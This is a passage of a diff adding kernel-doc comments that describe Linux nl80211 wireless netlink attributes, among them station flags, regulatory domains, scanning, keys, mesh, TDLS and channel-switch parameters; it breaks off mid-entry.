+ * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of
+ * &enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2)
+ * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by
+ * IEEE 802.11 7.3.1.6 (u16).
+ * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported
+ * rates as defined by IEEE 802.11 7.3.2.2 but without the length
+ * restriction (at most %NL80211_MAX_SUPP_RATES).
+ * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station
+ * to, or the AP interface the station was originally added to to.
+ * @NL80211_ATTR_STA_INFO: information about a station, part of station info
+ * given for %NL80211_CMD_GET_STATION, nested attribute containing
+ * info as possible, see &enum nl80211_sta_info.
+ *
+ * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands,
+ * consisting of a nested array.
+ *
+ * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes).
+ * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link
+ * (see &enum nl80211_plink_action).
+ * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path.
+ * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path
+ * info given for %NL80211_CMD_GET_MPATH, nested attribute described at
+ * &enum nl80211_mpath_info.
+ *
+ * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of
+ * &enum nl80211_mntr_flags.
+ *
+ * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the
+ * current regulatory domain should be set to or is already set to.
+ * For example, 'CR', for Costa Rica. This attribute is used by the kernel
+ * to query the CRDA to retrieve one regulatory domain. This attribute can
+ * also be used by userspace to query the kernel for the currently set
+ * regulatory domain. We chose an alpha2 as that is also used by the
+ * IEEE-802.11 country information element to identify a country.
+ * Users can also simply ask the wireless core to set regulatory domain
+ * to a specific alpha2.
+ * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory
+ * rules.
+ *
+ * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled
+ * (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled
+ * (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic
+ * rates in format defined by IEEE 802.11 7.3.2.2 but without the length
+ * restriction (at most %NL80211_MAX_SUPP_RATES).
+ *
+ * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from
+ * association request when used with NL80211_CMD_NEW_STATION)
+ *
+ * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all
+ * supported interface types, each a flag attribute with the number
+ * of the interface mode.
+ *
+ * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for
+ * %NL80211_CMD_SET_MGMT_EXTRA_IE.
+ *
+ * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with
+ * %NL80211_CMD_SET_MGMT_EXTRA_IE).
+ *
+ * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with
+ * a single scan request, a wiphy attribute.
+ * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can
+ * scan with a single scheduled scan request, a wiphy attribute.
+ * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements
+ * that can be added to a scan request
+ * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information
+ * elements that can be added to a scheduled scan request
+ * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be
+ * used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute.
+ *
+ * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz)
+ * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive
+ * scanning and include a zero-length SSID (wildcard) for wildcard scan
+ * @NL80211_ATTR_BSS: scan result BSS
+ *
+ * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain
+ * currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_*
+ * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently
+ * set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*)
+ *
+ * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies
+ * an array of command numbers (i.e. a mapping index to command number)
+ * that the driver for the given wiphy supports.
+ *
+ * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header
+ * and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and
+ * NL80211_CMD_ASSOCIATE events
+ * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets)
+ * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type,
+ * represented as a u32
+ * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and
+ * %NL80211_CMD_DISASSOCIATE, u16
+ *
+ * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as
+ * a u32
+ *
+ * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change
+ * due to considerations from a beacon hint. This attribute reflects
+ * the state of the channel _before_ the beacon hint processing. This
+ * attributes consists of a nested attribute containing
+ * NL80211_FREQUENCY_ATTR_*
+ * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change
+ * due to considerations from a beacon hint. This attribute reflects
+ * the state of the channel _after_ the beacon hint processing. This
+ * attributes consists of a nested attribute containing
+ * NL80211_FREQUENCY_ATTR_*
+ *
+ * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported
+ * cipher suites
+ *
+ * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look
+ * for other networks on different channels
+ *
+ * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this
+ * is used, e.g., with %NL80211_CMD_AUTHENTICATE event
+ *
+ * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is
+ * used for the association (&enum nl80211_mfp, represented as a u32);
+ * this attribute can be used
+ * with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests
+ *
+ * @NL80211_ATTR_STA_FLAGS2: Attribute containing a
+ * &struct nl80211_sta_flag_update.
+ *
+ * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls
+ * IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in
+ * station mode. If the flag is included in %NL80211_CMD_ASSOCIATE
+ * request, the driver will assume that the port is unauthorized until
+ * authorized by user space. Otherwise, port is marked authorized by
+ * default in station mode.
+ * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the
+ * ethertype that will be used for key negotiation. It can be
+ * specified with the associate and connect commands. If it is not
+ * specified, the value defaults to 0x888E (PAE, 802.1X). This
+ * attribute is also used as a flag in the wiphy information to
+ * indicate that protocols other than PAE are supported.
+ * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with
+ * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom
+ * ethertype frames used for key negotiation must not be encrypted.
+ *
+ * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver.
+ * We recommend using nested, driver-specific attributes within this.
+ *
+ * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT
+ * event was due to the AP disconnecting the station, and not due to
+ * a local disconnect request.
+ * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT
+ * event (u16)
+ * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating
+ * that protected APs should be used. This is also used with NEW_BEACON to
+ * indicate that the BSS is to use protection.
+ *
+ * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON
+ * to indicate which unicast key ciphers will be used with the connection
+ * (an array of u32).
+ * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which group key cipher will be used with the connection (a
+ * u32).
+ * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which WPA version(s) the AP we want to associate with is using
+ * (a u32 with flags from &enum nl80211_wpa_versions).
+ * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which key management algorithm(s) to use (an array of u32).
+ *
+ * @NL80211_ATTR_REQ_IE: (Re)association request information elements as
+ * sent out by the card, for ROAM and successful CONNECT events.
+ * @NL80211_ATTR_RESP_IE: (Re)association response information elements as
+ * sent by peer, for ROAM and successful CONNECT events.
+ *
+ * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE
+ * commands to specify using a reassociate frame
+ *
+ * @NL80211_ATTR_KEY: key information in a nested attribute with
+ * %NL80211_KEY_* sub-attributes
+ * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect()
+ * and join_ibss(), key information is in a nested attribute each
+ * with %NL80211_KEY_* sub-attributes
+ *
+ * @NL80211_ATTR_PID: Process ID of a network namespace.
+ *
+ * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for
+ * dumps. This number increases whenever the object list being
+ * dumped changes, and as such userspace can verify that it has
+ * obtained a complete and consistent snapshot by verifying that
+ * all dump messages contain the same generation number. If it
+ * changed then the list changed and the dump should be repeated
+ * completely from scratch.
+ *
+ * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface
+ *
+ * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of
+ * the survey response for %NL80211_CMD_GET_SURVEY, nested attribute
+ * containing info as possible, see &enum survey_info.
+ *
+ * @NL80211_ATTR_PMKID: PMK material for PMKSA caching.
+ * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can
+ * cache, a wiphy attribute.
+ *
+ * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32.
+ * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that
+ * specifies the maximum duration that can be requested with the
+ * remain-on-channel operation, in milliseconds, u32.
+ *
+ * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects.
+ *
+ * @NL80211_ATTR_TX_RATES: Nested set of attributes
+ * (enum nl80211_tx_rate_attributes) describing TX rates per band. The
+ * enum nl80211_band value is used as the index (nla_type() of the nested
+ * data. If a band is not included, it will be configured to allow all
+ * rates based on negotiated supported rates information. This attribute
+ * is used with %NL80211_CMD_SET_TX_BITRATE_MASK.
+ *
+ * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain
+ * at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME.
+ * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the
+ * @NL80211_CMD_REGISTER_FRAME command.
+ * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a
+ * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
+ * information about which frame types can be transmitted with
+ * %NL80211_CMD_FRAME.
+ * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a
+ * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
+ * information about which frame types can be registered for RX.
+ *
+ * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was
+ * acknowledged by the recipient.
+ *
+ * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values.
+ *
+ * @NL80211_ATTR_CQM: connection quality monitor configuration in a
+ * nested attribute with %NL80211_ATTR_CQM_* sub-attributes.
+ *
+ * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command
+ * is requesting a local authentication/association state change without
+ * invoking actual management frame exchange. This can be used with
+ * NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE,
+ * NL80211_CMD_DISASSOCIATE.
+ *
+ * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations
+ * connected to this BSS.
+ *
+ * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See
+ * &enum nl80211_tx_power_setting for possible values.
+ * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units.
+ * This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING
+ * for non-automatic settings.
+ *
+ * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly
+ * means support for per-station GTKs.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting.
+ * This can be used to mask out antennas which are not attached or should
+ * not be used for transmitting. If an antenna is not selected in this
+ * bitmap the hardware is not allowed to transmit on this antenna.
+ *
+ * Each bit represents one antenna, starting with antenna 1 at the first
+ * bit. Depending on which antennas are selected in the bitmap, 802.11n
+ * drivers can derive which chainmasks to use (if all antennas belonging to
+ * a particular chain are disabled this chain should be disabled) and if
+ * a chain has diversity antennas wether diversity should be used or not.
+ * HT capabilities (STBC, TX Beamforming, Antenna selection) can be
+ * derived from the available chains after applying the antenna mask.
+ * Non-802.11n drivers can derive wether to use diversity or not.
+ * Drivers may reject configurations or RX/TX mask combinations they cannot
+ * support by returning -EINVAL.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving.
+ * This can be used to mask out antennas which are not attached or should
+ * not be used for receiving. If an antenna is not selected in this bitmap
+ * the hardware should not be configured to receive on this antenna.
+ * For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available
+ * for configuration as TX antennas via the above parameters.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available
+ * for configuration as RX antennas via the above parameters.
+ *
+ * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS
+ *
+ * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be
+ * transmitted on another channel when the channel given doesn't match
+ * the current channel. If the current channel doesn't match and this
+ * flag isn't set, the frame will be rejected. This is also used as an
+ * nl80211 capability flag.
+ *
+ * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16)
+ *
+ * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags
+ * attributes, specifying what a key should be set as default as.
+ * See &enum nl80211_key_default_types.
+ *
+ * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters. These cannot be
+ * changed once the mesh is active.
+ * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute
+ * containing attributes from &enum nl80211_meshconf_params.
+ * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver
+ * allows auth frames in a mesh to be passed to userspace for processing
+ *via the @NL80211_MESH_SETUP_USERSPACE_AUTH flag.
+ * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in
+ * &enum nl80211_plink_state. Used when userspace is driving the peer link
+ * management state machine. @NL80211_MESH_SETUP_USERSPACE_AMPE or
+ * @NL80211_MESH_SETUP_USERSPACE_MPM must be enabled.
+ *
+ * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy
+ * capabilities, the supported WoWLAN triggers
+ * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to
+ * indicate which WoW triggers should be enabled. This is also
+ * used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN
+ * triggers.
+ *
+ * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan
+ * cycles, in msecs.
+ *
+ * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more
+ * sets of attributes to match during scheduled scans. Only BSSs
+ * that match any of the sets will be reported. These are
+ * pass-thru filter rules.
+ * For a match to succeed, the BSS must match all attributes of a
+ * set. Since not every hardware supports matching all types of
+ * attributes, there is no guarantee that the reported BSSs are
+ * fully complying with the match sets and userspace needs to be
+ * able to ignore them by itself.
+ * Thus, the implementation is somewhat hardware-dependent, but
+ * this is only an optimization and the userspace application
+ * needs to handle all the non-filtered results anyway.
+ * If the match attributes don't make sense when combined with
+ * the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID
+ * is included in the probe request, but the match attributes
+ * will never let it go through), -EINVAL may be returned.
+ * If ommited, no filtering is done.
+ *
+ * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported
+ * interface combinations. In each nested item, it contains attributes
+ * defined in &enum nl80211_if_combination_attrs.
+ * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like
+ * %NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that
+ * are managed in software: interfaces of these types aren't subject to
+ * any restrictions in their number or combinations.
+ *
+ * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information
+ * necessary for GTK rekeying in the device, see &enum nl80211_rekey_data.
+ *
+ * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in
+ *scan, nested array attribute containing an entry for each band, with the entry
+ * being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but
+ * without the length restriction (at most %NL80211_MAX_SUPP_RATES).
+ *
+ * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon
+ * and Probe Response (when response to wildcard Probe Request); see
+ * &enum nl80211_hidden_ssid, represented as a u32
+ *
+ * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame.
+ * This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to
+ * provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the
+ * driver (or firmware) replies to Probe Request frames.
+ * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association
+ * Response frames. This is used with %NL80211_CMD_NEW_BEACON and
+ * %NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into
+ * (Re)Association Response frames when the driver (or firmware) replies to
+ * (Re)Association Request frames.
+ *
+ * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration
+ * of the station, see &enum nl80211_sta_wme_attr.
+ * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working
+ * as AP.
+ *
+ * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of
+ * roaming to another AP in the same ESS if the signal lever is low.
+ *
+ * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching
+ * candidate information, see &enum nl80211_pmksa_candidate_attr.
+ *
+ * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not
+ * for management frames transmission. In order to avoid p2p probe/action
+ * frames are being transmitted at CCK rate in 2GHz band, the user space
+ * applications use this attribute.
+ * This attribute is used with %NL80211_CMD_TRIGGER_SCAN and
+ * %NL80211_CMD_FRAME commands.
+ *
+ * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup
+ * request, link setup confirm, link teardown, etc.). Values are
+ * described in the TDLS (802.11z) specification.
+ * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a
+ * TDLS conversation between two devices.
+ * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see
+ * &enum nl80211_tdls_operation, represented as a u8.
+ * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate
+ * as a TDLS peer sta.
+ * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown
+ * procedures should be performed by sending TDLS packets via
+ * %NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be
+ * used for asking the driver to perform a TDLS operation.
+ *
+ * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices
+ * that have AP support to indicate that they have the AP SME integrated
+ * with support for the features listed in this attribute, see
+ * &enum nl80211_ap_sme_features.
+ *
+ * @NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells
+ * the driver to not wait for an acknowledgement. Note that due to this,
+ * it will also not give a status callback nor return a cookie. This is
+ * mostly useful for probe responses to save airtime.
+ *
+ * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from
+ * &enum nl80211_feature_flags and is advertised in wiphy information.
+ * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe
+ * requests while operating in AP-mode.
+ * This attribute holds a bitmap of the supported protocols for
+ * offloading (see &enum nl80211_probe_resp_offload_support_attr).
+ *
+ * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire
+ * probe-response frame. The DA field in the 802.11 header is zero-ed out,
+ * to be filled by the FW.
+ * @NL80211_ATTR_DISABLE_HT: Force HT capable interfaces to disable
+ * this feature. Currently, only supported in mac80211 drivers.
+ * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the
+ * ATTR_HT_CAPABILITY to which attention should be paid.
+ * Currently, only mac80211 NICs support this feature.
+ * The values that may be configured are:
+ * MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40
+ * AMPDU density and AMPDU factor.
+ * All values are treated as suggestions and may be ignored
+ * by the driver as required. The actual values may be seen in
+ * the station debugfs ht_caps file.
+ *
+ * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country
+ * abides to when initiating radiation on DFS channels. A country maps
+ * to one DFS region.
+ *
+ * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of
+ * up to 16 TIDs.
+ *
+ * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be
+ * used by the drivers which has MLME in firmware and does not have support
+ * to report per station tx/rx activity to free up the staion entry from
+ * the list. This needs to be used when the driver advertises the
+ * capability to timeout the stations.
+ *
+ * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int);
+ * this attribute is (depending on the driver capabilities) added to
+ * received frames indicated with %NL80211_CMD_FRAME.
+ *
+ * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds
+ * or 0 to disable background scan.
+ *
+ * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from
+ * userspace. If unset it is assumed the hint comes directly from
+ * a user. If set code could specify exactly what type of source
+ * was used to provide the hint. For the different types of
+ * allowed user regulatory hints see nl80211_user_reg_hint_type.
+ *
+ * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected
+ * the connection request from a station. nl80211_connect_failed_reason
+ * enum has different reasons of connection failure.
+ *
+ * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts
+ * with the Authentication transaction sequence number field.
+ *
+ * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from
+ * association request when used with NL80211_CMD_NEW_STATION)
+ *
+ * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32)
+ *
+ * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with
+ * the START_AP and SET_BSS commands
+ * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the
+ * START_AP and SET_BSS commands. This can have the values 0 or 1;
+ * if not given in START_AP 0 is assumed, if not given in SET_BSS
+ * no change is made.
+ *
+ * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode
+ * defined in &enum nl80211_mesh_power_mode.
+ *
+ * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy,
+ * carried in a u32 attribute
+ *
+ * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for
+ * MAC ACL.
+ *
+ * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum
+ * number of MAC addresses that a device can support for MAC
+ * ACL.
+ *
+ * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace,
+ * contains a value of enum nl80211_radar_event (u32).
+ *
+ * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver
+ * has and handles. The format is the same as the IE contents. See
+ * 802.11-2012 8.4.2.29 for more information.
+ * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver
+ * has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields.
+ *
+ * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to
+ * the driver, e.g., to enable TDLS power save (PU-APSD).
+ *
+ * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are
+ * advertised to the driver, e.g., to enable TDLS off channel operations
+ * and PU-APSD.
+ *
+ * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see
+ * &enum nl80211_protocol_features, the attribute is a u32.
+ *
+ * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports
+ * receiving the data for a single wiphy split across multiple
+ * messages, given with wiphy dump message
+ *
+ * @NL80211_ATTR_MDID: Mobility Domain Identifier
+ *
+ * @NL80211_ATTR_IE_RIC: Resource Information Container Information
+ * Element
+ *
+ * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased
+ * reliability, see &enum nl80211_crit_proto_id (u16).
+ * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which
+ * the connection should have increased reliability (u16).
+ *
+ * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16).
+ * This is similar to @NL80211_ATTR_STA_AID but with a difference of being
+ * allowed to be used with the first @NL80211_CMD_SET_STATION command to
+ * update a TDLS peer STA entry.
+ *
+ * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information.
+ *
+ * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's
+ * until the channel switch event.
+ * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission
+ * must be blocked on the current channel (before the channel switch
+ * operation).
+ * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information
+ * for the time while performing a channel switch.
+ * @NL80211_ATTR_CSA_C_OFF_BEACON: An array of offsets (u16) to the channel
+ * switch counters in the beacons tail (%NL80211_ATTR_BEACON_TAIL).
+ * @NL80211_ATTR_CSA_C_OFF_PRESP: An array of offsets (u16) to the channel
+ * switch counters in the probe response (%NL80211_ATTR_PROBE_RESP).
+ *
+ * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32.
+ * As specified in the &enum nl80211_rxmgmt_flags.
+ *
+ * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels.
+ *
+ * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported
+ * supported operating classes.
+ *
+ * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space
+ * controls DFS operation in IBSS mode. If the flag is included in
+ * %NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS
+ * channels and reports radar events to userspace. Userspace is required
+ * to react to radar events, e.g. initiate a channel switch or leave the
+ * IBSS network.
+ *
+ * @NL80211_ATTR_SUPPORT_5_MHZ: A flag indicating that the device supports
+ * 5 MHz channel bandwidth.
+ * @NL80211_ATTR_SUPPORT_10_MHZ: A flag indicating that the device supports
+ * 10 MHz channel bandwidth.
+ *
+ * @NL80211_ATTR_OPMODE_NOTIF: Operating mode field from Operating Mode
+ * Notification Element based on association request when used with
+ * %NL80211_CMD_NEW_STATION; u8 attribute.
+ *
+ * @NL80211_ATTR_VENDOR_ID: The vendor ID, either a 24-bit OUI or, if
+ * %NL80211_VENDOR_ID_IS_LINUX is set, a special Linux ID (not used yet)
+ * @NL80211_ATTR_VENDOR_SUBCMD: vendor sub-command
+ * @NL80211_ATTR_VENDOR_DATA: data for the vendor command, if any; this
+ * attribute is also used for vendor command feature advertisement
+ * @NL80211_ATTR_VENDOR_EVENTS: used for event list advertising in the wiphy
+ * info, containing a nested array of possible events
+ *
+ * @NL80211_ATTR_QOS_MAP: IP DSCP mapping for Interworking QoS mapping. This
+ * data is in the format defined for the payload of the QoS Map Set element
+ * in IEEE Std 802.11-2012, 8.4.2.97.
+ *
+ * @NL80211_ATTR_MAC_HINT: MAC address recommendation as initial BSS
+ * @NL80211_ATTR_WIPHY_FREQ_HINT: frequency of the recommended initial BSS
+ *
+ * @NL80211_ATTR_MAX_AP_ASSOC_STA: Device attribute that indicates how many
+ * associated stations are supported in AP mode (including P2P GO); u32.
+ * Since drivers may not have a fixed limit on the maximum number (e.g.,
+ * other concurrent operations may affect this), drivers are allowed to
+ * advertise values that cannot always be met. In such cases, an attempt
+ * to add a new station entry with @NL80211_CMD_NEW_STATION may fail.
+ *
+ * @NL80211_ATTR_CSA_C_OFFSETS_TX: An array of csa counter offsets (u16) which
+ * should be updated when the frame is transmitted.
+ * @NL80211_ATTR_MAX_CSA_COUNTERS: U8 attribute used to advertise the maximum
+ * supported number of csa counters.
+ *
+ * @NL80211_ATTR_TDLS_PEER_CAPABILITY: flags for TDLS peer capabilities, u32.
+ * As specified in the &enum nl80211_tdls_peer_capability.
+ *
+ * @NL80211_ATTR_IFACE_SOCKET_OWNER: flag attribute, if set during interface
+ * creation then the new interface will be owned by the netlink socket
+ * that created it and will be destroyed when the socket is closed.
+ * If set during scheduled scan start then the new scan req will be
+ * owned by the netlink socket that created it and the scheduled scan will
+ * be stopped when the socket is closed.
+ *
+ * @NL80211_ATTR_TDLS_INITIATOR: flag attribute indicating the current end is
+ * the TDLS link initiator.
+ *
+ * @NL80211_ATTR_USE_RRM: flag for indicating whether the current connection
